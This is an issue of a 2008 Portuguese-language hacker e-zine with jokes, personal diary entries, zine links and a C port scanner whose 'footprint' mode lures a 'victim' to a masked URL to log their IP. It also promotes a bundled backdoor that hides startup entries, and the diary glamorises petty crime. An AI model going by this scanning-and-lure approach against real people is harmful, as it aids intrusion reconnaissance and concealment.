<-----xx----------xxx----------xxx-----------xxxxx----->
 Recomendo que voce visualize essa zine com o Firefox 
 ou Internet Explorer ou Opera, visualizando o texto com
 tamanho 'normal' (isso se vc quiZer "perfeio" =). Ou 
 at mesmo com o notepad  usando Fonte Times New 
 Roman, tamanho 12, estilo de fonte normal. Ah! No se
 esquea da 'Quebra automtica de linha' ;-)
<-----xx----------xxx----------xxx-----------xxxxx----->

[]==-----------------x-------X----------x-----------------------==[]

  Ateno: Se voce sai por ai dizendo para as meninas que 
  hacker, fica contando papo que invadiu fulano de tal e desviou
  num sei o que (mesmo sendo verdade -> dificil seu lamah), ou 
  se voce  um pirralho de + ou - 15 anos, faa um seguinte: Saia
  fora daqui, ou melhor -> Va da o c seu lamah!
   
[]==-----------------x-------X----------x-----------------------==[]

===============DXXX=============================xxxxx=======
============================================================
||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
||XXXXXXX VIPER CORP APRESENTA   XXXXXXXXXXXXXXXX
||$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
||$$$$$[[[+ ========================================== 
||$$$$$[[[+                                                                  
||$$$$$[[[+                                   
||$$$$$[[[+     -[+]------------------------[+]-    
||$$$$$[[[+                   C.O.D.E              
||$$$$$[[[+                                     
||$$$$$[[[+    COMPUTADORES - ORGASMO - DESTRUIO - 
||$$$$$[[[+                  'E-ZINES' 
||$$$$$[[[+     [As 4 coisas que eu mais gosto na vida] 
||$$$$$[[[+              
||$$$$$[[[+            -[+]----------[+]-   
||$$$$$[[[+                         \  |   /
||$$$$$[[[+ [EU AMO NO TER BANNER oO -.- Oo] 
||$$$$$[[[+                                                  
||$$$$$[[[+   NO MANDE MAIS SEUS ASCIIs PARA 
||$$$$$[[[+         <b-fox@bol.com.br>
||$$$$$[[[+ 
||$$$$$[[[+ [Talvez com psicologia reversa  algum 
||$$$$$[[[+  possa enviar ASCIIs legais]  
||$$$$$[[[+
||$$$$$[[[+
||$$$$$[[[+ ========================================== 
||XXANO 1 - N02  00/00/2008 BY 6_Bl4ck9_f0x6 XXXXXXXXXX
||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
====================================================
===============DXXX=============================xxxxx=======

----- C4p1Tul0 00           


[=] + =========================================== + [=]
         Introduo (Hum... Introduzir tudo rsrs) 
[=] + =========================================== + [=]

Ol galerinha do mal, sentiram saudades do tio fox? Depois de 
tanto tempo estou eu aqui escrevendo +1 edio da C.O.D.E. Achu que
voces no aguentam mais ter duas introdues a cada edio Huahau!!!
Po galera,  chato mesmo ter que ficar introduzindo em voces 2 coisas 
assim na lata hauhauha!!! Ei ei ei, espero que saibam que a primeira 
intro (essa que vc est lendo)  utilizada por mim para me desculpar pela 
demora desta e de outras eds que demorarem para sair (oO) e tals, a outra
introduo j  falando do que vai ter na zine e falando sobre os BONUS!! 
que acompanham essa edio =) Bonus  legal, eu adoro bonus, compro 
chiclete s pra ter as figurinhas como bonus XP (-.- rsrs). Mas vamos l, 
voces devem estar querendo saber porque a zine atrazou, mas espera ai!!
Ei ei ei, j se passaram dois meses? Vixi, nem!!! Acho que to escrevendo 
ela sedo d+, vou indo, samana que vem eu continuo.

=====================
Uma semana depois
=====================

oi oi oi, voutei hauhauh!!! Nem!!! hauhauh!!! Enfim, onde eu parei?
ah! Porque a sua, a minha, a nossa revista hacker do ano atrasou. 
Ei, antes de comear gostaria de dizer que um dia minha zine vai ser
uma Axur05 da vida, vai ser uma rwx ou at mesmo uma thebug e tals,
a medida que eu aprendo eu escrevo, ou seja, aqui voces vo ter todo 
meu conhecimento que a cada dia aumenta mais =) Sem contar que
daqui uns dias o BSDaemon vai ta me pedindo autografo XP (Brincadeira, 
to brincando, calma rsrs). Porra!! Responde logo pq a zine atrazou!!!
Bem, ela atrazou porque eu quiz, ponto. 

Xauzim.


[+ ======X============X===============X===== +]
                          INDICE 
[+ ======X============X===============X===== +]
        

##########################################################                        
#Que a fora esteja com voce jovem - Meu professor eh foda! 
#(star wars_) [-.-]. Meu professor gosta de fala isso para
# zuar. Tenho que parar de tentar explicar besteira -.-  
##########################################################               
              
[xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx] 

#include <x00. Introduo (Hum... Introduzir tudo rsrs)............/6_Bl4ck9_f0x6 
#include <x01. Frases do dia>....................................../6_Bl4ck9_f0x6
#include <x02. Emperial[ScanneR] v0.1>............................./6_Bl4ck9_f0x6
#include <x03. Dedicatorias>......................................./6_Bl4ck9_f0x6
#include <x04. Palavras do autor>................................../6_Bl4ck9_f0x6
#include <x05. Introducao a Zine>................................../6_Bl4ck9_f0x6
#include <x06. ESPECIAL C.O.D.E [Zines de ontem e de hoje]>......../6_Bl4ck9_f0x6
#include <x07. Curso de Batch Parte - 3>.........................../6_Bl4ck9_f0x6
#include <x08. Entrevista com Marcos Flavio Araujo Assuno>......./6_Bl4ck9_f0x6
#include <x09. Curso de linguagem C - Parte 3>...................../6_Bl4ck9_f0x6
#include <x10. File extension Manipulation>......................../6_Bl4ck9_f0x6
#include <x11. Telnet Secure>....................................../6_Bl4ck9_f0x6
#include <x12. O Banimento nunca existiu XP......................../6_Bl4ck9_f0x6
#include <x13. Emperial Encripter v0.1>............................/6_Bl4ck9_f0x6
#include <x14. The King of Calculators rsrs>......................./6_Bl4ck9_f0x6
#include <x15. O Fantastico netcat>................................/6_Bl4ck9_f0x6
#include <x16. Mail Box>.........................................../6_Bl4ck9_f0x6

The End>

----- C4p1Tul0 01
           

[+] X======================================X +] 
                 FRASES DO DIA
[+] X====================================== X+] 


------------------------------ cut ----------------------------------------

                Especial Murphy - O sabio dos sabios hauhauh!!!

===================================================================
"Sorria... amanh ser pior." 
===X====================X========================X=================
"Se voc est se sentindo bem, no se preocupe. Isso passa." 
===X====================X========================X=================
"No importa o que sai errado, sempre dar a impresso de certo."
===X====================X========================X=================
"Se a experincia funcionou na primeira tentativa, tem algo errado." 
===X====================X========================X=================
"Mais vale um pssaro na mo do que um voando sobre a nossa cabea." 
===X====================X========================X=================
"Uma pessoa saudvel  aquela que no foi suficientemente examinada." 
===X====================X========================X=================
"Tudo que  bom na vida  ilegal, imoral ou engorda."
===X====================X========================X=================
"Por que ser que nmeros errados nunca esto ocupados?"
===X====================X========================X=================
"Um atalho  sempre a distncia mais longa entre dois pontos."
===X====================X========================X=================
"Se voc no est confuso, no est prestando ateno."
===X====================X========================X=================
"Sexo leva muito menos tempo do que os problemas que dele decorrem."
===X====================X========================X=================
"Sexo  como neve: voc nunca sabe quantos centmetros vai atingir 
e o quanto vai durar."
===X====================X========================X=================
"Sexo  hereditrio: se seus pais no fizeram, h uma grande chance 
de voc tambm no fazer."
===X====================X========================X=================
"Voc no pode gerar um beb em um ms engravidando nove mulheres."
===X====================X========================X=================
"No vai doer, prometo."
===X====================X========================X=================
"Na guerra, o inimigo ataca em duas ocasies: quando ele est
preparado, e quando voc no est."
===X====================X========================X=================
"Um plano de invaso ao quartel inimigo prova que voc foi 
inteligente o bastante para planejar, estpido o bastante para 
tentar, e sortudo o bastante se sobreviver."
===X====================X========================X=================
"Sexo  uma das nove razes para a reencarnao, as outras oito no
importam."
===X====================X========================X=================
"Tudo leva mais tempo do que se pensa, a no ser no caso de 
ejaculao precoce."
===X====================X========================X=================
"Voc sabe que vai ser um dia ruim quando:
- seu irmo gmeo esquece o dia do seu aniversrio;
- voc pe sua cueca ao contrrio e sente que ficou mais confortvel;
- voc acorda e descobre que seu colcho dgua est com vazamento, 
e ento voc descobre que no tem um colcho dgua."
===X====================X========================X=================
"Amigos vm e se vo, inimigos se acumulam."
===X====================X========================X=================
"Cartas importantes que no contm nenhum erro sero despachadas 
em lugar errado. Cartas com erros aparecero em duplicata na mesa 
do chefe."
===X====================X========================X=================
"Uma maneira de se parar um cavalo de corrida  apostar nele."
===X====================X========================X=================
"Toda partcula que voa sempre encontra um olho."
===X====================X========================X=================
No importa que voce caia, desde que voce apanhe algo no chao
quando se levantar.
===X====================X========================X=================
 quase sempre mais fcil entrar do que sair de qualquer coisa.
===X====================X========================X=================
Voce pode observar muito s olhando.
===X====================X========================X=================
Voce nunca pode identificar qual dos lados da torrada  o lado que
se deve passar a manteiga.
===X====================X========================X=================
Um objeto sempre cai de forma a causar o maior prejuzo possvel. 
===X====================X========================X=================
Um contrato verbal  aquele que nao vale o papel em que seria escrito.
===X====================X========================X=================
Nao importa o quando o produto custa, mas quanto voce ganha 
de desconto.
===X====================X========================X=================
Arcebispo. Um eclesistico cristo com o grau superior ao de Cristo.  
Puritaninsmo. O enorme medo de que algum, em algum lugar, possa ser
feliz. 
===X====================X========================X=================
Se  verdade,  biologia.
Se fede,  qumica.
Se no funciona,  fisica
===X====================X========================X=================
Mal de c  rola fina --> by Mario Miranda Magalhes
===X====================X========================X=================
Sempre existe mais um bug 
===================================================================
------------------------------ cut ----------------------------------------

[xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx] 

[xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxx]
[Vo da 3 tiro no seu suvaco pra voce morrer 
[achando graa infeliz!!!] 
[xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxxx]
              ##############X#############X############X###############                                        
                            
Anteno: Essa e-zine  gratuita, se voce vender ela eu quero a minha parte. 

Tem que ser assim mano hauhau!!! O Derneval tambm faz isso. Se vender!!! 
Quero minha parte!!! 


----- C4p1Tul0 02


          [=] + ==========XXXX============ + [=]
                *** Emperial[ScanneR] *** 
          [=] + ==========XXXX============ + [=]


As vezes nos precisamos varrer algumas portas em um sistema X e nao
temos uma ferrramenta pratica, simples e crua. Recorremos ao nmap 
apenas para ver algumas portinhas e tals, mas o nmap tem muitos 
componentes e o PC num  teu, dai complica extract for system32 caso
voce nao saiba editar um PATH na sua vida :P,  mas para evitar isso eu
fiz esse scanner de portas simples e pratico. Quando nossa vitima  
leiga se faz necessario a utilizao de algum scanner qualquer para nos
mostrar o que queremos, os scanners de portas. Usando TCP syn  muito
facil detectar um scan, mas como sempre -> vitimas leigas nao contam <-
Espero que voces gostem da ferramenta, ela est sendo muito util para mim.


                   ---- Emp_scan.c ---- 

/*
*             Emperial[ScanneR] v0.1 by 6_Bl4ck9_f0x6
*
*                      --> Windows <-- 
*
*            [X] ============X==============X===== [X]
*                 XxX   VIPER CORP GROUP  XxX
*                   <-> Underground Max <->
*            [X] ============X==============X===== [X]
*
*                  Port Scanner TCP/HandShake
*                   com Funcionalidades de
*                      -> Footprint <-
*
*      ---------------------------------------------------------------     
*     [ -> Dedico essa ferramenta e todas as outras que surgirem  <- ]
*     [ -> a todos os membros desse grupo de potencial, um abrao <- ]
*     [ -> a todos os  caras do grupo e  um beijo para  todas  as <- ]
*     [ -> minas, em  especial a  mais nova integrante do grupo   <- ]
*                         -> Mina Mistery <-
*        --> Espero que fique ao nosso lado por muito tempo.  <--    
*     ---------------------------------------------------------------                    
*                  
*
*      Ateno: Para usar a funcionalidade de http footprint
*               Use: Emp_scan.exe http/footprint
* 
*      OBS: Deixe seu firewall abrir a porta 80 de seu host 
*           para receber as conexes de suas vitimas.
*
*          Use um redirecionador de URL e mascare seu IP.
*          Logo depois mande seu endereo Mascarado para 
*          a vitima, quando a mesma acessar voce ter o 
*          endereo IP dela e informaes uteis para um
*          ataque mais ofensivo do que o FootPrint. Con-
*          sulte a documentao. Baixe-a em:
*           
*     http://www.hunterhacker.xpg.com.br/Emp_scan_Document.pdf                     
*/

// HTTP/FOOTPRINT EM DESENVOLVIMENTO!!!!!!!!!!!

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>

#define BADSTAT -1
#define BACKLOG 10
#define MINDHUNTER  "http/footprint"

int tsuder (void){
           
       printf ("                  6"); Sleep (200); 
       printf ("_"); Sleep (100);       
       printf ("B"); Sleep (200);
       printf ("l"); Sleep (100);
       printf ("4"); Sleep (200);
       printf ("c"); Sleep (100);
       printf ("k"); Sleep (200);
       printf ("9"); Sleep (100);
       printf ("_"); Sleep (200);
       printf ("f"); Sleep (100);   
       printf ("0"); Sleep (200);
       printf ("x"); Sleep (200);
       printf ("6\n\n"); Sleep (100); }
             
WSADATA dados;
struct sockaddr_in vitima;
struct sockaddr_in list_ing;
char banner[255], my_footprint[255];
char buffer_received[255];
char httpfoot[sizeof (MINDHUNTER)];

int main (int argc, char *argv[]){
     
       int x=0, i=0, size, check;
       int my_sock, connectx, door; 
       char about[]="                 Emperial[ScanneR] \n\n\
                        BY\n";
       system ("cls");
       
      if (argc==1){goto Smile;}
      
      /* Anti Stack Overflow: */ 
      
      strncpy (httpfoot, argv[1], strlen (MINDHUNTER));             
      printf ("[%d] Protegido contra Stack Overflow\n", strlen (httpfoot)); 
     
      if (strcmp (httpfoot, MINDHUNTER) == 0){
      system ("cls");
      system ("title HTTP FootPrint");
      printf ("HTTP FootPrint by 6_Bl4ck9_f0x6\n\
Copyright 2006-2008 Viper Corp.\n\n");
      printf ("======================================================\n");
      printf ("%s\n", about);
      tsuder ();
      
      if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){
         fprintf (stderr, "Erro ao iniciar dll's de socket!\n");
         WSACleanup();
         exit (BADSTAT);}
             
                 
       my_sock = socket (AF_INET, SOCK_STREAM, 0);
        
       if (my_sock == -1){
            perror ("Error socket!");
              WSACleanup ();   
                exit (BADSTAT);}
                
      list_ing.sin_family = AF_INET;
      list_ing.sin_port = htons (80);
      list_ing.sin_addr.s_addr = INADDR_ANY;      
      
      memset(&list_ing.sin_zero,0,8);
      
      if (bind(my_sock, (struct sockaddr *)&list_ing, sizeof (list_ing)) == -1){
      fprintf (stderr, "Erro ao Bindear porta!\n");
      exit (BADSTAT);}
      
      fprintf (stdout, "Porta %d em Listening...", 80);
      
      if ((listen (my_sock, BACKLOG)) == -1){
           system ("cls");
           puts ("Ops! Nao consegui escutar\n");    
           return 0;}
      
      check = accept (my_sock,0,0);
      
      if (check==-1){
          puts ("Problemas na conexao!\n");
           return 1;} 
      
      printf ("\n\nO endereco IP [%s] estabeleceu uma conexao na porta [%d]\n",
      inet_ntoa (list_ing.sin_addr), ntohs (list_ing.sin_port));
      
      
      /* Fazer um looping para ele sempre voutar a escutar na porta e gravar 
      no file os log's =) */
      
      FILE *foot_log;
      
      if ((foot_log = fopen ("Foot_log.log", "a")) == NULL){
      puts ("Nao consegui criar o arquivo de log,\n");
      puts ("possivelmente por fauta de espaco no disco\n");
     
      // Mas da pra visualizar na shell -> puts (buffer_received =) <- 
      
      return (1);}
    
      recv (my_sock, buffer_received, strlen (buffer_received),0);
      fprintf (foot_log, "%d", buffer_received); 

      puts ("\nArquivo de log criado com sucesso!\n");
      fclose (foot_log);
      printf ("\n======================================================\n");
      exit (BADSTAT);}
       
       Smile:    
       if ((argc < 4) || (argc > 4)){
            printf ("\nx===x==x=====x===x=====x==x===x==x==x==x===x\
===xx==x==\n"); 
           printf ("%s\n", about);
            
           tsuder (); 
            
            fprintf (stderr, "Uso: %s <ip> <porta_inicial> \
<porta_final>\n\n", argv[0]);
            printf ("x===x==x=====x===x=====x==x===x==x==x==x===x\
===xx==x==\n"); 
            Sleep (200);
            exit (BADSTAT);}

       door = atoi (argv[2]);               
      
       if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){
               puts ("Problemas -> WSAStartup");
                  exit (BADSTAT);}
       
       printf ("%s\n", about);
       tsuder (); 
       fprintf (stderr, "[X] ============X==============X===== [X]\n\n");
       for (door;door<= atoi (argv[3]);door++){
           
       my_sock = socket (AF_INET, SOCK_STREAM, 0);
        
       if (my_sock == -1){
            perror ("Error socket!");
              WSACleanup ();   
                exit (BADSTAT);}
          
       vitima.sin_family = AF_INET;
       vitima.sin_port = htons (door);
       vitima.sin_addr.s_addr = inet_addr (argv[1]); 
        
       for (x;x<8;x++){
              vitima.sin_zero[x]=(char)0;}
         
       size = sizeof (vitima);   
       
       SetConsoleTitle ("Varrendo usando TCP -> SYN "); 
       connectx = connect (my_sock, (struct sockaddr *)&vitima, size);
     
       if (connectx == SOCKET_ERROR){
            fprintf (stderr, "Porta [%d] fechada\n", door);}
       else {
       fprintf (stdout, "Porta [%d] Aberta <-- \n", door);
       
       puts ("\nBanner:\n");
       
       if (recv (my_sock, banner, sizeof (banner), 0) < 0){
            fprintf (stderr, "Erro ao recever banner!\n");
              exit (BADSTAT);}
              
       puts (banner);
       
       FILE *scan_log;
       scan_log=fopen ("scan_log.txt", "a");

       if (!scan_log){
               perror ("\nErro ao abrir arquivo de log -> ");
               printf ("\n");
               continue;}
     fprintf (scan_log, "Porta [%d] em [%s] Aberta\
\n", door, inet_ntoa (vitima.sin_addr));
     fclose (scan_log);}}         
     fprintf (stderr, "\n[X] ============X==============X===== [X]\n");     
      
       closesocket (my_sock);
       WSACleanup ();      
       return (0);
      }
  
        ---- cut here ---- 

----- C4p1Tul0 03
           
[=] + =========XXXX=========== + [=]
         Dedicatorias
[=] + ==========XXXXX========= + [=]

Dedico essa edio da C.O.D.E a minha amiga 'Linda' por me passar as
respostas da prova de matematica, ao meu amigo Juvenil silva que mora em 
arapor - MG, que  inesquecivel em minha vida (mesmo ele esquecendo de
mim) porque faziamos ritual de consagrao de pentagrama em casas 
abandonadas com direito a vela vermelha, incenso e tudo mais Huahuah!! 
Bebiamos feito gambas e nem tinhamos grana pra voutar pra casa, pois iamos
pra cidades vizinhas e gastavamos todo nosso dinheiro com pinga e conhaque 
huauhua!!! dae eu sempre tinha que recorrer a minha madrinha. Ah! e tambm 
passavamos cheque sem fundo em pizzarias e ainda queriamos troco hauhauh!!! 
Passavamos noites em lans bebendo cerveja e iamos nos finais de semana para 
um pomar cheirar cola com os punks Huahauh!!! Para conhecer essa figura 
procurem meu orkut pesquisando por 6_Bl4ck9_f0x6. Lembrando que eu e o 
juvenil tambm faziamos assaltos com arminha de brinquedo "quebrada"...
huahauh!!! Esse cara  muito importante em minha vida =) Ainda
lembro-me como se fosse ontem meus tempos de delinquente rsrs.

E gostaria de dedicar a mais uma pessoa, nem preciso falar o que todo mundo j
sabe rsrs, mas para quem no sabe gostaria de dizer que dedico + essa edio da
zine 'principalmente' a minha amada, linda, maravilhosa, Patricia. Porque sempre 
me apoia mesmo eu estando errado (claro que depois de puxar minha orelha) e 
sempre est disposta a me tirar de enrrascadas (em todos os sentidos). Estou
me referindo ao meu grande amor Luzinha =) 

Lu, essa zine  pra voce ;-)

----- C4p1Tul0 04
           

[=] + ===XX===CC=====c========= + [=]
         Palavras do autor         
[=] + ===XX===CC=====c========= + [=]


Neste exato momento estou fumando um cigarro e bebendo uma loira
gelada que roubei de meu padrasto, so exatamente 23:04 e hoje eu es
pero escrever muito para publicar a zine o mais rapido possivel. Pra 
quem no sabe na seo 'Palavras do autor' eu escrevo tipo um diario
, por isso no me importa que voces leiam, eu escrevo para masagear 
meu ego =) Os primeiros goles de cerveja so os melhores, depois 
ela comea a perder o sabor e voce comea a curtir o clima rsrs. Putz, 
no me sinto bem digitando com um cigarro na boca enchendo meus 
olhos de fumaa, mas  o geito. Espero do fundo do meu corao ficar 
bebado com essa garrafa, pois no bebo a algum tempo e meu organismo 
ta fraquim-fraquim, assim no preciso roubar a ultima garrafa no 
congelador rsrs, pois a bronca d manh vai ser menor se eu tivesse pegado 
s uma, lembre-se que eu disse MENOR e no que ela no vai existir. 
No tenho muito que falar aqui no, s queria que as pessoas entendesem 
que adolescente no precisa ser humilhado porque no trabalha e passa 24
horas por dia na frente do computador, tabom que eu num sou muito chegado
a estudar e tals, detesto mecher com algo que eu no gosto, mas minha me
no entende isso. Sem contar naquelas frazes tipicas de familia da classe menos
privilegiada do globo capitalista: 'A energia esse mes eu no pago!! Vc tem que
aprender, no faz nada na vida, s come, bebe e dorme. Eu no sou obrigada 
a sustentar marmanjo barbado.'  Muitos de voces devem ter escutado essa frase
ou algum dia escutaro, isso se voces so de classe baixa como eu. Ja os ricos
nem preciso, porque tem o po e tero o po de cada dia sempre, no tenho 
muitas metas na vida, nem sei se viver tem graa mais depois que voce sabe 
que vai morrer. Teve um tempo que eu confiava nas pessoas, depois aprendi
a falar e a caminhar. A triste realidade em que vivemos nos
faz cometer crimes, tenho varios amigos presos porque desviaram grana dos
mais favorecidos por assim dizer, mas ninguem ver que eles fizeram isso porque
no tinham escolha, no Brasil minha gente...  da, ou dece. Preciso de uma
razo para viver, preciso de algo para acordar e saber que aquilo vai me dar 
prazer, e essa sensao eu encontrei na informatica, encontrei na frente de um
computador para ser mais exato. Eu amo ler os papers do Nash, as vezes tem 
coisas que eu no entendo, mas sou to esforado que passo horas e horas 
olhando para aquele codigo e tento chutar o que seja. Voces sabem qual  o prin
cipal problema de um autodidata (pra quem no sabe, os autodidatas so aqueles
caras que aprendem as coisas sozinhos)?  que nos queimamos muitas etapas em
qualquer tipo de aprendizagem, nos aprendemos coisas avanadas e quando nos
perguntam coisas basicas apenas falamos que no sabemos, mas porque? Porque
no temos quem nos ensine do comeo, ou at pode existir algum texto em algum 
lugar que tenha, mas ns no os encontramos para ler ou quando encontramos
passamos para o final, talvez por anciedade (que  o meu caso) ou simplesmente
porque temos certeza que entenderemos sem precisar ler o basico. Nessa porra 
de cidade que eu moro nem se quer tem um cursinho de C, ou Assembly, temos 
que ralar pra conseguir aprender algo, isso  foda!! Resolvi escrever essa zine para
protestar contra "fauta de informao intuitiva" para quem ta comeando... Nossa!!
Acho que a cerveja ja ta me pegando, e isso  bom, muito bom achei que no 
conseguiria ficar nem tonto com uma garrafa, mas agora eu realmente expresso o 
que eu sinto. Muitos que conseguiram acesso a essa zine so de classe media ou 
media alta, pois os menos privilegiados nem acesso a net conseguem, esse  o publico
que eu quero alcanar. Escrevo um monte de texto para o pessoal, ja fiz muito texto 
bom caras, nem quero fama nem nada, pois quem me conhece sabe que nem fao 
textos por fama justamente porque troco de nick como quem troca de cueca. Quero 
ajudar as pessoas que assim como eu querem um material legal, que seja objetivo e 
que no precisem procurar muito para encontrar, por isso gosto de fazer algumas 
receitas de bolo PARA INDUZIR O INICIANTE A APRENDER. Tem neguinho 
ae que me chama pra arrumar os PCs deles eu vou e descolo uma grana, mas quando 
vou ver.... num tenho mais nada!! Mundo capitalista da porra, as pessoas poderiam 
viver de troca como antigamente, se bem que eu contribuo muito com minha situao 
financeira eheh, bebia feito um gamba e gastava minha grana pagando cerveja pra putas,
e ae, que futuro essa porra me deu? Tenho 18 anos e nem futuro eu to vendo, no 
quero passar minha vida vivendo as custas de minha mae, gostaria de um emprego em 
que o empregado s precisasse ter o primeiro ano e pronto. A unica coisa que me doi 
e saber que meu cigarro acabou e eu nem tenho um tusto furado no bolso, eu olho pros
lados e digo: Caramba!!! Cacete!!! hauhauha!!! Tenho nojo de escola, juro por deus que 
seu eu pudesse eu tacava fogo naquela porra. Ops, ja to legal e to escrevendo d+, mas 
vou buscar a ultima cerveja, eu quero  passar mal!!!! Vamos aos textos a noite vai ser 
longa, vou adaptar alguns textos que escrevi e criar coisas novas, vamos botar a mo 
na massa =)

---------------------------------------
Acabou de acontecer comigo
==========================

Eu acabei de matar uma lagartixa gigantesca -.- Nem queria, fui deixar a garrada vazia 
e quando fechei uma portinha de madeira que tem aqui em casa acabei esmagando a 
coitada -.-. Sou um assasino -.-, a coitada ta la na cozinha agonizando com suas tripas
pra fora e com certeza as formigas ja devem ta de olho, bem feito pra ela. Foda foi o 
susto cara, dei um pulo pra traz porque morro de medo dessas paradas que se mechem
e que apareceram na terra de forma inexplicavel. Pq deus fez as baratas e as lagartixas? 



----- C4p1Tul0 05


[=] + =======xx==============xx=========== + [=]
         XX -> Introduo a zine <- XX
[=] + =======xx==============xx=========== + [=]


Hi! Nessa edio temos uma super entrevista com nada mais nada menos que:
Marcos Flavio Araujo Assuno,  isso ae mano, espero que gostem =) Vai
anexado a zine um tutorial Bonus com shots e tudo mais (rsrs) onde estou 
mostrando como remover aqueles virus e trojans de quinta categoria. 
Lembrando: A algum tempo DESENVOLVI uma forma de inutilizar os olhos 
humanos caso alguem queira visualizar os valores sequenciais nas chaves de 
registro do windows ou visualizar o que est se iniciando na maquina com algum 
visualizador de coisas que se iniciam... ? ... Peguei pesado agora, isso que eu 
chamo de no achar as palavras certas \O/. Enfim, caso algum maluco use o 
process view ou qualquer outro visualizador de coisas que se iniciam (.... ? ... 
Olha eu de novo) no vai ver nada... Bah! Leiam a CODEx00 e procurem 
informaes com relao a essa tcnica, procurem na seo 'BackDoor 
Camuflagem for avast! antivirus'. Vale lembrar que voce pode usar essa tcnica
para qualquer coisa que se inicie na maquina =) Ah! essa tcnica que at pouco 
tempo no tinha nome vai ser chamar de agora em diante: 'Patricia' =) O 
camuflagem  um backdoor baseado no netcat que se utiliza desta tcnica 
para se esconder do pessoal =)

OBS: A tcnica  minha, se existir algum maluquinho divulgando ela e no postando 
os creditos vai rolar ai uma perceguiozinha a esse sugeito.

Se voce tem uma ex-namorada chamada Patricia que te traiu com um nego e 
voce no gosta de ver esse nome NA MINHA TCNICA, gostaria de mandar 
voce se fuder!!! Porque a tcnica  minha e eu chamo como eu quiZer, moro? Mas
espera a!!! Porque voce ta falando nisso agora? Aham!!! Eu resolvi compilar e 
disponibilizar o executavel para voces na zine como bonus ;-) Obvio que voce no
vai sair por ai executando as coisas sem ver o que se encontra dentro dele e tals, 
por isso eu compilei com o Quick Batch File Compiler e a senha  'tsuder', mas 
nem esquentem que tem um file junto com o 'exe' que tb mostra a senha e mostra
algumas instrues de uso. Tipo, no gostei de ver o caras da revista CHMOD 
fazendo algo "parecido", mas que seja, tipo... Desenvolvi a patricia no natal de 
2007, tenho provas (E COMO TENHO) que o post  antigo, os caras a + ou -
umas duas semanas publicam a revista pegando um legitimo executavel 
(provalmente) e dizendo que sabem fazer a patricia, ou seja, o placker devia olhar 
mais essas coisas cara, tipo... sei l, coincidncia? Acho que isso ta + pra plagio!
Nesta ed da C.O.D.E temos ainda uns cursinhos legais e muuuuuuuuita informao 
para voce amigo, porque o que diferencia a C.O.D.E das outras zines  que temos 
muuuuuito conteudo =)

----- C4p1Tul0 06

 [+ ====================================== +] 
        X xX   ESPECIAL C.O.D.E   XxX 
          + Zines de ontem e de hoje + 
 [+ ====================================== +] 


Venha conhecer o fantastico mundo das e-zines Hacker baby =) No  de hoje 
venho falando sobre essas verdadeiras belezinhas da literatura, no  segredo pra 
ninguem que sou um apaixonado por essas porras que normalmente so distribuidas 
em 'txt', eu simplesmente viajo caras,  muito bacana voce le essas paradas. Ae vai 
mais zines para voces curtirem pessoal. Ei! Vale lembrar que nas edies anteriores
da C.O.D.E foram mais dezenas de links para outras zines e por isso recomendo
que de uma olhadinha nas outras eds tambm, porque A DESTRUIO NO PODE 
PARAR PORRA!!! 

===============
Starting....

Essa primeira zine do especial C.O.D.E eu postei l no forum-invaders.com.br, 
com seu respectivo comentario, v da uma olhada l e veja o que essa humilde zine
significa para nossa historia irmos. Est  a PRIMEIRA ZINE 'HACKER' DO Brasil!!!  

 ____                  _          ______ _      _        _            
|  _ \                | |        |  ____| |    | |      (_)           
| |_) | __ _ _ __ __ _| |_ __ _  | |__  | | ___| |_ _ __ _  ___ __ _  
|  _ < / _` | '__/ _` | __/ _` | |  __| | |/ _ \ __| '__| |/ __/ _` | 
| |_) | (_| | | | (_| | || (_| | | |____| |  __/ |_| |  | | (_| (_| | 
|____/ \__,_|_|  \__,_|\__\__,_| |______|_|\___|\__|_|  |_|\___\__,_| 
                                                                      
                                                                      
                        BARATA ELETRICA, numero 0
                        Sao Paulo, 3 de dezembro de 1994
                        Bienio Poli - Sala  23
                        Cidade Universidade


http://www.hunterhacker.xpg.com.br/barata00.zip
http://www.hunterhacker.xpg.com.br/barata01.zip
http://www.hunterhacker.xpg.com.br/barata02.zip
http://www.hunterhacker.xpg.com.br/barata03.zip
http://www.hunterhacker.xpg.com.br/barata04.zip
http://www.hunterhacker.xpg.com.br/barata05.zip
http://www.hunterhacker.xpg.com.br/barata06.zip
http://www.hunterhacker.xpg.com.br/barata07.zip
http://www.hunterhacker.xpg.com.br/barata08.zip
http://www.hunterhacker.xpg.com.br/barata09.zip
http://www.hunterhacker.xpg.com.br/barata10.zip
http://www.hunterhacker.xpg.com.br/barata11.zip
http://www.hunterhacker.xpg.com.br/barata12.zip
http://www.hunterhacker.xpg.com.br/barata13.zip
http://www.hunterhacker.xpg.com.br/barata14.zip
http://www.hunterhacker.xpg.com.br/barata15.zip
http://www.hunterhacker.xpg.com.br/barata16.zip
http://www.hunterhacker.xpg.com.br/barata17.zip
http://www.hunterhacker.xpg.com.br/barata18.zip
http://www.hunterhacker.xpg.com.br/barata19.zip
http://www.hunterhacker.xpg.com.br/barata20.zip
http://www.hunterhacker.xpg.com.br/barata21.zip
http://www.hunterhacker.xpg.com.br/barata22.zip
http://www.hunterhacker.xpg.com.br/barata23.zip
http://www.hunterhacker.xpg.com.br/barata24.zip
http://www.hunterhacker.xpg.com.br/barata25.zip
http://www.hunterhacker.xpg.com.br/barata26.zip
http://www.hunterhacker.xpg.com.br/barata27.zip
http://www.hunterhacker.xpg.com.br/barata28.zip

============================================

	                                  zZZZZZZZZZZZZZZZz
	                                                zZ
	    cCCCCCCCCc         sSSSSSSSSs              zZ
	  cCCCCCCCCCCCCc     sSSSSSSSSSSSSs           zZ
	 cCCC       CCCCc   sSSS       SSSSs         zZ   
	cCCCc               SSSSs                   zZ  II NNn  NN EEEEE
	CCCCC                SSSSSSSSSSs           zZ   II NNNn NN EE
	CCCCC                   SSSSSSSSSs        zZ    II NN NnNN EEEE
